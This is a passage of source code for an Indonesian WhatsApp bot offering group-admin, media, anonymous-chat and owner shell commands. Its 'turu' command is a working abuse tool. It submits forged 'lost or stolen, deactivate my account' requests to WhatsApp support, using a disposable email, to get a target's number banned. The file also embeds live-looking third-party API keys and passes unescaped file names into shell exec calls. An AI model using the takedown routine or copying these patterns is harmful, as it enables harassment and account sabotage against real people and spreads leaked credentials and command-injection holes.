} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'liston':{
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply( mess.group)
if (!isAdmins) return reply( mess.admin)
if (!isBotAdmins) return reply( mess.botAdmin)
let id = args && /\d+\-\d+@g.us/.test(args[0]) ? args[0] : m.chat
let online = [...Object.keys(store.presences[id]),botNumber]
dark.sendText(m.chat, 'List Online:\n\n' + online.map(v => '友 @' + v.replace(/@.
+/, '')).join`\n`, m, { mentions: online })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ppcp': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
let anu = await
fetchJson('https://raw.githubusercontent.com/iamriz7/kopel_/main/kopel.json')
let random = anu[Math.floor(Math.random() * anu.length)]
dark.sendMessage(m.chat, { image: {url: random.male }, caption: `Cowok` },
{ quoted: m })
dark.sendMessage(m.chat, { image: { url: random.female }, caption: `Cewek` },
{ quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'del': {
try {
if (!isRegister) return reply(mess.register)
if (!m.quoted) throw false
let { chat, fromMe, id, isBaileys } = m.quoted
if (!isBaileys) return reply( 'Pesan tersebut bukan dikirim oleh bot!')
dark.sendMessage(m.chat, { delete: { remoteJid: m.chat, fromMe: true, id:
m.quoted.id, participant: m.quoted.sender } })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'gcopen': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply(mess.admin)
dark.groupSettingUpdate(m.chat, 'not_announcement').then((res) => reply(`Sukses
Membuka Group`))
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'gcclose': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply(mess.admin)
dark.groupSettingUpdate(m.chat, 'announcement').then((res) => reply(`Sukses Menutup
Group`))
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case'linkgc': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply(mess.admin)
let response = await dark.groupInviteCode(m.chat)
dark.sendText(m.chat, `https://chat.whatsapp.com/${response}\n\nLink Group : $
{groupMetadata.subject}`, m, { detectLink: true })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'setppgc': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply( mess.group)
if (!isAdmins) return reply( mess.admin)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!quoted) return reply( `Kirim/Reply Image Dengan Caption ${prefix + command}`)
if (!/image/.test(mime)) return reply( `Kirim/Reply Image Dengan Caption ${prefix +
command}`)
if (/webp/.test(mime)) return reply( `Kirim/Reply Image Dengan Caption ${prefix +
command}`)
let media = await dark.downloadAndSaveMediaMessage(quoted)
await dark.updateProfilePicture(m.chat, { url: media }).catch((err) =>
fs.unlinkSync(media))
reply(`Sukses`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'setnamegc': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply( mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply( mess.admin)
if (!text) return reply( 'Text ?')
await dark.groupUpdateSubject(m.chat, text)
reply(`Sukses`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'setdesk': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply( mess.group)
if (!isBotAdmins) return reply( mess.botAdmin)
if (!isAdmins) return reply( mess.admin)
if (!text) return reply( 'Text ?')
await dark.groupUpdateDescription(m.chat, text)
reply(`Sukses`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'afk': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply( mess.group)
let user = global.db.users[m.sender]
const reason = q ? q : 'Nothing'
user.afkTime = + new Date
user.afkReason = reason
reply(`*@${sender.split("@")[0]}* sedang afk *${reason}*`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'jadibot': {
try {
if (!itsMedark) return reply(mess.owner)
if (m.isGroup) return reply(mess.private)
reply(mess.wait)
jadibot(dark, m, from)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'turu': {
try {
if (!isRegister) return reply(mess.register)
if (!isPrem) return reply(mess.premium)
if (!q) return reply('Nomornya?')
reply(mess.wait)
if (Input) {
let cekno = await dark.onWhatsApp(Input)
if (cekno.length == 0) return reply(`Peserta tersebut Sudah Tidak Terdaftar Di
WhatsApp`)
if (Input == ownerNumber + "@s.whatsapp.net") return reply(`Tidak Bisa Verif My
Creator!`)
var targetnya = m.sender.split('@')[0]
try {
var axioss = require('axios')
let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/")
let email = await axioss.get("https://www.1secmail.com/api/v1/?
action=genRandomMailbox&count=2022")
let cookie = ntah.headers["set-cookie"].join("; ")
const cheerio = require('cheerio');
let $ = cheerio.load(ntah.data)
let $form = $("form");
let url = new URL($form.attr("action"), "https://www.whatsapp.com").href
let form = new URLSearchParams()
form.append("jazoest", $form.find("input[name=jazoest]").val())
form.append("lsd", $form.find("input[name=lsd]").val())
form.append("step", "submit")
form.append("country_selector", "INDONESIA")
form.append("phone_number", `${Input.split("@")[0]}`,)
form.append("email", email.data[0])
form.append("email_confirm", email.data[0])
form.append("platform", "ANDROID")
form.append("your_message", `Perdido/roubado: desative minha conta`)
form.append("__user", "0")
form.append("__a", "1")
form.append("__csr", "")
form.append("__req", "8")
form.append("__hs", "19316.BP:whatsapp_www_pkg.2.0.0.0.0")
form.append("dpr", "1")
form.append("__ccg", "UNKNOWN")
form.append("__rev", "1006630858")
form.append("__comment_req", "0")

let res = await axioss({


url,
method: "POST",
data: form,
headers: {
cookie
}

})
let payload = String(res.data)
if (payload.includes(`"payload":true`)) {
reply(`Succes.. Nomor Telah Out!`)
} else if (payload.includes(`"payload":false`)) {
reply(`Sedang Limit Tunggu Beberapa Saat.`)
} else reply(util.format(res.data))
} catch (err) {reply(`${err}`)}
} else reply('Masukkan Nomor Target!')
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'listjadibot':
if (!isRegister) return reply(mess.register)
reply(mess.wait)
try {
let user = [... new Set([...global.conns.filter(dark => dark.user).map(dark =>
dark.user)])]
te = "*List Jadibot*\n\n"
for (let i of user){
y = await dark.decodeJid(i.id)
te += " × User : @" + y.split("@")[0] + "\n"
te += " × Name : " + i.name + "\n\n"
}
dark.sendMessage(from,{text:te,mentions: [y], },{quoted:m})
} catch (err) {
reply(`Belum Ada User Yang Jadibot`)
}
break
case 'owner': {
try {
const repf = await dark.sendMessage(from, {
contacts: {
displayName: `${list.length} Kontak`,
contacts: list }, mentions: [sender] }, { quoted: m })
dark.sendMessage(from, { text : `Hai Kak @${sender.split("@")[0]}, Nih Owner Ku
Jangan Macam-macam Ya`, mentions: [sender]}, { quoted: repf })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'sc': case 'scriptbot': case 'scbot':{
try {
dark.sendMessage(m.chat,{text:`*This Script is for everyone, not for Sale. Jika
dijual neraka menunggumu brother !*

友 GITHUB : https://github.com/darkbotzmd/Dark-Botz-MD-V2

友 GITHUB : https://github.com/darkbotzmd/Darkness-Wangsaff-V2
友 MEDIAFIRE : https://www.mediafire.com/file/hss38byo6vl698e/Dark-Botz-MD-V2.zip/
file

友 NO MODULE : https://www.mediafire.com/file/gwyu7j0a7mndgy6/Dark-Botz-MD.zip/file

友 UPDATE : https://www.mediafire.com/file/cgwywxipg0c3p7c/UPDATE-BY-WANGSAFF.zip/
file`,mentions: [creator], },{quoted:m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ai': {
let anu = await fetch(`https://api.botcahx.live/api/search/openai-chat?text=$
{q}&apikey=fTKlCvKt`)
let hasil = await anu.json()
m.reply(`${hasil.message}`.trim())
}
/*case 'open-ai': case 'ai':{
try {
if (!isRegister) return reply(mess.register)
if (global.keyopenai === 'ISI') return reply('Apikey belum diisi\n\nSilahkan isi
terlebih dahulu apikeynya di file key.json\n\nApikeynya bisa dibuat di website:
https://beta.openai.com/account/api-keys')
if (!q) return reply(`Chat dengan AI.\n\nContoh:\n${prefix + command} Apa itu anime
`)
const configuration = new Configuration({
apiKey: global.keyopenai,
});
const openai = new OpenAIApi(configuration);
const response = await openai.createCompletion({
model: "text-davinci-003",
prompt: text,
temperature: 0.3,
max_tokens: 3000,
top_p: 1.0,
frequency_penalty: 0.0,
presence_penalty: 0.0,
});
reply(`*AI CHAT GPT*${response.data.choices[0].text}`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}*/
break
case 'SsWeb': case 'ssweb': case 'Ssweb': case 'ScreenshotWeb': case 'ss':{
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Linknya Mana?`)
reply(mess.wait)
dark.sendMessage(m.chat, {image: {url: `https://api.screenshotone.com/take?
access_key=VHHwvqzO-mMOaA&url=${q}`}}, {quoted: m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'autosticker':
if (!itsMedark) return reply(mess.owner)
if (args[0] == 'on') {
if (autosticker) return reply('*Sudah Aktif!*')
autosticker = true
reply('*Berhasil Mengaktifkan Autosticker*')
} else if (args[0] == 'off') {
if (!autosticker) return reply('*Belum Aktif!*')
autosticker = false
reply('*Berhasil Mematikan Autosticker*')
} else {
let buttons = [
{ buttonId: '.autosticker on', buttonText: { displayText: 'On' }, type: 1 },
{ buttonId: '.autosticker off', buttonText: { displayText: 'Off' }, type: 1 }
]
await dark.sendButtonText(m.chat, buttons, `Mode Autosticker`, `Pilih On Atau Off`,
m)
}
break
case 'ban':{
if (!itsMedark) return reply(mess.owner)
if (!q) return reply(`Penggunaan ${prefix+command} add/del nomor\nContoh $
{prefix+command} add/del 6285807264974`)
orgnye = q.split("|")[0].replace(/[^0-9]/g, '') + `@s.whatsapp.net`
let ceknye = await dark.onWhatsApp(orgnye)
if (ceknye.length == 0) return reply(`Masukkan Nomor Yang Valid Dan Terdaftar Di
WhatsApp!!!`)
const isBane = banUser ? banUser.includes(orgnye) : false
if (args[0] === "add") {
if (isBane) return reply('User Sudah Dibanned')
dark.updateBlockStatus(orgnye, 'block')
reply(`Succes Ban`)
} else if (args[0] === "del") {
if (!isBane) return reply('User Tidak Dibanned')
dark.updateBlockStatus(orgnye, 'unblock')
reply(`Succes Unban`)
} else {
reply("Error")
}
}
break
case 'listban': {
try {
if (!isRegister) return reply(mess.register)
reply(mess.wait)
try {
listBloxk = []
teskd = ``
listnyd = 1
for (let i of banUser) {
teskd += `\n${listnyd++}. @${i.split("@")[0]}`
listBloxk.push({
title: "+" + i.split("@")[0], rowId: `${prefix}ban del ${i.split("@")[0]}`,
description: "ketuk untuk mengunblockir"})
}
teskd += `\n\nketuk button untuk mengunblockir`
const sections = [
{
title: "Total Blockir " + banUser.length,
rows: listBloxk
}
]
const listMessage = {
text: teskd,
footer: fake,
title: " 「 List Participants Blockir 」",
buttonText: "List Blockir",
mentions: await dark.parseMention(teskd),
sections
}
dark.sendMessage(from, listMessage, {quoted:m})
} catch {
reply("Tidak ada user yang diblockir")
}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'leave':{
try {
if (m.isGroup && itsMedark && command == "leave") return dark.groupLeave(from)
if (m.isGroup) return reply("Only private chat")
var roomss = Object.values(anon.anonymous).find(p => p.check(sender))
if (!room) return reply("Anda tidak berada didalam room")
reply("Bye...")
var other = roomss.other(sender)
delete anon.anonymous[roomss.id]
if (other != "") dark.sendMessage(other, {
text: "Bye..."
})
if (command == "leave") break;
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'antilink':
if (!m.isGroup) return reply(mess.group)
if (!isAdmins && !itsMedark) return reply(mess.admin)
if (!isBotAdmins) return reply(mess.botAdmin)
if (args[0] == 'on') {
if (antilink) return reply('*Sudah Aktif!*')
antilink = true
reply('*Berhasil Mengaktifkan Antilink*')
} else if (args[0] == 'off') {
if (!antilink) return reply('*Belum Aktif!*')
antilink = false
reply('*Berhasil Mematikan Antilink*')
} else {
let buttons = [
{ buttonId: '.antilink on', buttonText: { displayText: 'On' }, type: 1 },
{ buttonId: '.antilink off', buttonText: { displayText: 'Off' }, type: 1 }
]
await dark.sendButtonText(m.chat, buttons, `Mode Antilink`, `Pilih On Atau Off`, m)
}
break
case 'add': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isAdmins && !itsMedark) return reply(mess.admin)
if (!isBotAdmins) return reply(mess.botAdmin)
if (!q) return reply(`Mo Add Siapa?`)
let users = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')
+'@s.whatsapp.net'
await dark.groupParticipantsUpdate(m.chat, [users], 'add')
reply(`Sukses`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'kick': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!isAdmins && !itsMedark) return reply(mess.admin)
if (!isBotAdmins) return reply(mess.botAdmin)
if (!q) return reply(`Mo Kick Siapa?`)
let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender :
text.replace(/[^0-9]/g, '')+'@s.whatsapp.net'
await dark.groupParticipantsUpdate(m.chat, [users], 'remove')
reply(`Sukses`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'hidetag': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if (!q) return reply(`Teks?`)
dark.sendMessage(m.chat, { text : q ? q : '' , mentions: participants.map(a =>
a.id)}, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'listgc': {
try {
if (!itsMedark) return reply(mess.owner)
let getGroups = await dark.groupFetchAllParticipating()
//console.log(getGroups)
let groups = Object.entries(getGroups).slice(0).map(entry => entry[1])
let anu = groups.map(v => v.id)
let teks = `⬣ *LIST GROUP CHAT*\n\nTotal Group : ${anu.length} Group\n\n`
for (let i of anu) {
let metadata2 = await dark.groupMetadata(i)
teks += `◉ Nama : ${metadata2.subject}\n◉ Owner : ${metadata2.owner !== undefined ?
'@' + metadata2.owner.split`@`[0] : 'Tidak diketahui'}\n◉ ID : ${metadata2.id}\n◉
Dibuat : ${moment(metadata2.creation * 1000).tz('Asia/Jakarta').format('DD/MM/YYYY
HH:mm:ss')}\n◉ Member : ${metadata2.participants.length}\n\
n────────────────────────\n\n`
}
dark.sendTextWithMentions(m.chat, teks, m)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'listpc': {
try {
if (!itsMedark) return reply(mess.owner)
let anu = await store.chats.all().filter(v => v.id.endsWith('.net')).map(v => v.id)
let teks = `⬣ *LIST PERSONAL CHAT*\n\nTotal Chat : ${anu.length} Chat\n\n`
for (let i of anu) {
let nama = store.messages[i].array[0].pushName
teks += `◉ Nama : ${nama}\n◉ User : @${i.split('@')[0]}\n◉ Chat : @/${i.split('@')
[0]}\n\n────────────────────────\n\n`
}
reply(teks)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'tagall': {
try {
if (!isRegister) return reply(mess.register)
if (!m.isGroup) return reply(mess.group)
if(!q) {
var inpo = "No inpo"
} else var inpo = q
let members_id = []
let tes = '\n'
await groupMembers.map( i => {
tes += `┣ ⬣@${i.id.split('@')[0]}\n`
members_id.push(i.id) })
mentions(`
*From :* ${pushname}

Info : ${inpo}

Total Member : ${groupMembers.length}

┏━⬣`+tes+`┗━⬣`, members_id, false)


} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'tiktokvideo':
case 'tiktok':
case 'ttmp4':
case 'mp4' : {
try {
if (!isRegister) return reply(mess.register)
if (!text) return reply( `Example : ${prefix + command} link`)
if (!q.includes('tiktok')) return reply(`Link Invalid!!`)
reply(mess.wait)
require('./lib/tiktok').Tiktok(q).then( data => {
dark.sendMessage(from, { video: { url: data.nowm }, mimetype: 'video/mp4'},
{ quoted: m })
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
case 'tiktokaudio':
case 'tiktokmp3':
case 'ttmp3':
case 'mp3': {
try {
if (!isRegister) return reply(mess.register)
if (!text) return reply( `Example : ${prefix + command} link`)
if (!q.includes('tiktok')) return reply(`Link Invalid!!`)
reply(mess.wait)
require('./lib/tiktok').Tiktok(q).then( data => {
dark.sendMessage(from, { audio: { url: data.audio }, mimetype: 'audio/mpeg' },
{ quoted: m })
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ttp': {
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`${prefix + command} Kontolodon`)
reply(mess.wait)
dark.sendMessage(m.chat, {sticker: {url: "https://api.lolhuman.xyz/api/ttp?
apikey=02ead3357242a6a0973c3363&text="+text}}, {quoted: m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'attp':{
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`${prefix + command} Kontolodon`)
reply(mess.wait)
dark.sendMessage(m.chat, {sticker: {url: "https://api.lolhuman.xyz/api/attp?
apikey=02ead3357242a6a0973c3363&text="+text}}, {quoted: m})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'googles': {
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Example : ${prefix + command} DarkBotz WhatsApp`)
reply(mess.wait)
let google = require('google-it')
google({'query': text}).then(res => {
let teks = `Google Search From : ${text}\n\n`
for (let g of res) {
teks += `⭔ *Title* : ${g.title}\n`
teks += `⭔ *Description* : ${g.snippet}\n`
teks += `⭔ *Link* : ${g.link}\n\n────────────────────────\n\n`
}
reply(teks)
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ytmp4': case 'mp4':{
try {
if (!isRegister) return reply(mess.register)
if (!text) return reply('Masukan Link Nya!!!')
reply('Media Dikirim Lewat Chat Pribadi')
downloadMp4(text)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'ytmp3': case 'mp3':{
try {
if (!isRegister) return reply(mess.register)
if (!text) return reply('Masukan Link Nya!!!')
reply('Media Dikirim Lewat Chat Pribadi')
downloadMp3(text)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'setppbot': {
try {
if (!itsMedark) return reply(mess.owner)
if (!quoted) return reply(`Kirim/Reply Image Dengan Caption ${prefix + command}`)
reply(mess.wait)
if (!/image/.test(mime)) return reply(`Kirim/Reply Image Dengan Caption ${prefix +
command}`)
if (/webp/.test(mime)) return reply(`Kirim/Reply Image Dengan Caption ${prefix +
command}`)
var medis = await dark.downloadAndSaveMediaMessage(quoted, 'ppbot.jpeg')
if (args[0] == `/md`) {
var { img } = await generateProfilePicture(medis)
await dark.query({
tag: 'iq',
attrs: {
to: botNumber,
type:'set',
xmlns: 'w:profile:picture'
},
content: [
{
tag: 'picture',
attrs: { type: 'image' },
content: img
}
]
})
fs.unlinkSync(medis)
reply(`Sukses`)
} else {
var memeg = await dark.updateProfilePicture(botNumber, { url: medis })
fs.unlinkSync(medis)
reply(`Sukses`)
}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'tourl':
try {
if (!isRegister) return reply(mess.register)
if (!isMedia) return reply(`Kirim/Reply Foto/Vi Dengan Caption ${prefix +
command}`)
mee = await dark.downloadAndSaveMediaMessage(quoted)
mem = await uptotelegra(mee)
dark.sendMessage(m.chat, {text:mem},{quoted:m})
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'toaudio':
try {
if (!isRegister) return reply(mess.register)
if (!/video/.test(mime) && !/audio/.test(mime)) return reply(`Send/Reply the
Video/Audio You Want to Use as Audio With Caption ${prefix + command}`)
reply(mess.wait)
mee = await dark.downloadAndSaveMediaMessage(quoted)
mem = await uptotelegra(mee)
dark.sendMessage(m.chat, { audio: { url: mem }, mimetype: 'audio/mp4', ptt:false,
mentions:[m.sender]}, { quoted: m })
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'tomp3':
try {
if (!isRegister) return reply(mess.register)
if (/document/.test(mime)) return reply(`Send/Reply Video/Audio You Want to Convert
into MP3 With Caption ${prefix + command}`)
reply(mess.wait)
if (!/video/.test(mime) && !/audio/.test(mime)) return reply(`Send/Reply
Video/Audio You Want to Convert into MP3 With Caption ${prefix + command}`)
mee = await dark.downloadAndSaveMediaMessage(quoted)
mem = await uptotelegra(mee)
} catch (err) {
console.log(err)
reply(`Error`)
}
break
case 'smeme': {
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Kirim/Reply Foto Dengan Caption ${prefix + command} *teks*`)
if (!isMedia) return reply(`Kirim/Reply Foto Dengan Caption ${prefix + command}
*teks*`)
reply(mess.wait)
mee = await dark.downloadAndSaveMediaMessage(quoted)
mem = await uptotelegra(mee)
mdtid = await (encodeURI(`https://api.memegen.link/images/custom/-/${q}.png?
background=${mem}`))
dark.sendImageAsSticker(m.chat, mdtid, m, { packname: global.packname, author:
global.author })
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'toimg': {
try {
if (!isRegister) return reply(mess.register)
if (!quoted) throw reply(`Reply Image`)
if (!/webp/.test(mime)) throw reply(`balas stiker dengan caption *${prefix +
command}*`)
reply(mess.wait)
let media = await dark.downloadAndSaveMediaMessage(quoted)
let ran = await getRandom('.png')
exec(`ffmpeg -i ${media} ${ran}`, (err) => {
fs.unlinkSync(media)
if (err) throw err
let buffer = fs.readFileSync(ran)
dark.sendMessage(m.chat, { image: buffer }, { quoted: m })
fs.unlinkSync(ran)
})
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'sticker': case 's':{
try {
if (!isRegister) return reply(mess.register)
if (!quoted) return reply(`Kirim/Reply Gambar/Video/Gifs Dengan Caption $
{prefix+command}\nDurasi Video 1-9 Detik`)
reply(mess.wait)
if (/image/.test(mime)) {
let media = await quoted.download()
dark.sendImageAsSticker(m.chat, media, m, { packname: global.packname, author:
global.author })
}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'deobfus':{
try {
if (!isRegister) return reply(mess.register)
function beautifyJavaScript (source) {
const beautify = require('js-beautify').js_beautify
return beautify(source, {indent_size: 2})
}
if(q){
let teks = await beautifyJavaScript(q)
reply(teks)
} else if(isQuotedTeks){
let teks = await beautifyJavaScript(dev.quoted.text)
reply(teks)
} else reply("Masukan code java script")
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'stop': {
try {
if (!isRegister) return reply(mess.register)
if (m.isGroup) return reply('Fitur Tidak Dapat Digunakan Untuk Group!')
this.anonymous = this.anonymous ? this.anonymous : {}
let room = Object.values(this.anonymous).find(room => room.check(m.sender))
if (!room) {
await dark.sendText(m.chat, `_Kamu tidak sedang berada di anonymous chat_`, m)
return false
}
reply('_You stopped matchmaking_')
let other = room.other(m.sender)
if (other) await dark.sendText(other, `_Partner meninggalkan chat_`, m)
delete this.anonymous[room.id]
if (command === 'stop') break
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'mulai': case 'start': {
if (!isRegister) return reply(mess.register)
if (m.isGroup) return reply('Fitur Tidak Dapat Digunakan Untuk Group!')
this.anonymous = this.anonymous ? this.anonymous : {}
if (Object.values(this.anonymous).find(room => room.check(m.sender))) {
await dark.sendText(m.chat, `_Kamu masih berada di dalam anonymous chat, menunggu
partner_`, m)
return false
}
let room = Object.values(this.anonymous).find(room => room.state === 'WAITING' && !
room.check(m.sender))
if (room) {
await dark.sendText(room.a, `_Partner ditemukan!_`, m)
room.b = m.sender
room.state = 'CHATTING'
await dark.sendText(room.b, `_Partner ditemukan!_`, m)
} else {
let id = + new Date
this.anonymous[id] = {
id,
a: m.sender,
b: '',
state: 'WAITING',
check: function (who = '') {
return [this.a, this.b].includes(who)
},
other: function (who = '') {
return who === this.a ? this.b : who === this.b ? this.a : ''
},
}
await dark.sendText(m.chat, '_Menunggu partner..._', m)
}
}
break
case 'next': case 'lanjut': {
try {
if (!isRegister) return reply(mess.register)
if (m.isGroup) return reply('Fitur Tidak Dapat Digunakan Untuk Group!')
this.anonymous = this.anonymous ? this.anonymous : {}
let romeo = Object.values(this.anonymous).find(room => room.check(m.sender))
if (!romeo) {
await dark.sendText(m.chat, '_Kamu tidak sedang berada di anonymous chat_')
return false
}
reply('_You stopped matchmaking_')
let other = romeo.other(m.sender)
if (other) await dark.sendText(other, `_Partner meninggalkan chat_`, m)
delete this.anonymous[romeo.id]
let room = Object.values(this.anonymous).find(room => room.state === 'WAITING' && !
room.check(m.sender))
if (room) {
await dark.sendText(room.a, `_Partner ditemukan!_`, m)
room.b = m.sender
room.state = 'CHATTING'
await dark.sendText(room.b, `_Partner ditemukan!_`, m)
} else {
let id = + new Date
this.anonymous[id] = {
id,
a: m.sender,
b: '',
state: 'WAITING',
check: function (who = '') {
return [this.a, this.b].includes(who)
},
other: function (who = '') {
return who === this.a ? this.b : who === this.b ? this.a : ''
},
}
await dark.sendText(m.chat, `_Menunggu partner..._`, m)}
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case 'obfus':{
try {
if (!isRegister) return reply(mess.register)
if (!q) return reply(`Contoh ${prefix+command} const darkbotz = require('dark-
api')`)
let meg = await obfus(q)
reply(`Sukses
${meg.result}`)
} catch (err) {
console.log(err)
reply(`Error`)
}
}
break
case '>':
case '=>':
case '$':
default:
if (budy.startsWith('=>')) {
if (!itsMedark) return reply(mess.owner)
function Return(sul) {
sat = JSON.stringify(sul, null, 2)
bang = util.format(sat)
if (sat == undefined) {
bang = util.format(sul)
}
return reply(bang)
}
try {
reply(util.format(eval(`(async () => { return ${budy.slice(3)} })()`)))
} catch (e) {
reply(String(e))
}
}

if (budy.startsWith('>')) {
if (!itsMedark) return reply(mess.owner)
try {
let evaled = await eval(budy.slice(2))
if (typeof evaled !== 'string') evaled = require('util').inspect(evaled)
await reply(evaled)
} catch (err) {
await reply(String(err))
}
}

if (budy.startsWith('$')) {
if (!itsMedark) return reply(mess.owner)
await reply("_Executing..._")
exec(q, async (err, stdout) => {
if (err) return reply(`${copyright}:~ ${err}`)
if (stdout) {
await reply(`*>_ Console*\n\n${stdout}`)
}
})
}

if (budy.startsWith('uu')){
if (!itsMedark) return
qur = budy.slice(2)
exec(qur, (err, stdout) => {
if (err) return reply(`${err}`)
if (stdout) {
reply(stdout)
}
})
}

//Function menfess
if (!m.isGroup && !m.key.fromMe && budy) {
if (cekChat("id", sender) == null) return
if (cekChat("teman", sender) == false) return
try {
if (type == "conversation" || type ==
"extendedTextMessage") {
try {
var chat_anonymous =
msg.message.extendedTextMessage.text
}
catch (err) {
var chat_anonymous = msg.message.conversation
}
let text_nya_menfes = `*MENFESS CHAT*
💬 : ${chat_anonymous}`
await dark.sendMessage(cekChat("teman", sender),
{ text: text_nya_menfes })
await sleep(2000)
dark.sendMessage(from, { react: { text: `📩`, key:
m.key } }, { quoted: m })
}
else {
await dark.sendMessage(cekChat("teman", sender),
{ forward: m })
await sleep(2000)
dark.sendMessage(from, { react: { text: `📩`, key:
m.key } }, { quoted: m })
}
} catch (err) {
return
}
}

if (m.chat.endsWith('@s.whatsapp.net') && budy) {


this.anonymous = this.anonymous ? this.anonymous : {}
let room = Object.values(this.anonymous).find(room => [room.a,
room.b].includes(m.sender) && room.state === 'CHATTING')
if (room) {
if (['.next', '.leave', '.stop', '.start', 'Cari Partner', 'Keluar', 'Lanjut',
'Stop'].includes(m.text)) return
let other = [room.a, room.b].find(user => user !== m.sender)
m.copyNForward(other, true, m.quoted && m.quoted.fromMe ? {
contextInfo: {
...m.msg.contextInfo,
forwardingScore: 0,
isForwarded: true,
participant: other
}
} : {})
}
return !0
}

if (isCmd && budy.toLowerCase() != undefined) {


if (m.chat.endsWith('broadcast')) return
if (m.isBaileys) return
let msgs = global.db.database
if (!(budy.toLowerCase() in msgs)) return
dark.copyNForward(m.chat, msgs[budy.toLowerCase()], true)
}
}

} catch (err) {
dark.sendMessage(m.key.remoteJid, { text: `*[TERJADI ERROR]*\n${err}` },
{ quoted: m })
}
}

let file = require.resolve(__filename)


fs.watchFile(file, () => {
fs.unwatchFile(file)
console.log(chalk.redBright(`Update ${__filename}`))
delete require.cache[file]
require(file)
})

You might also like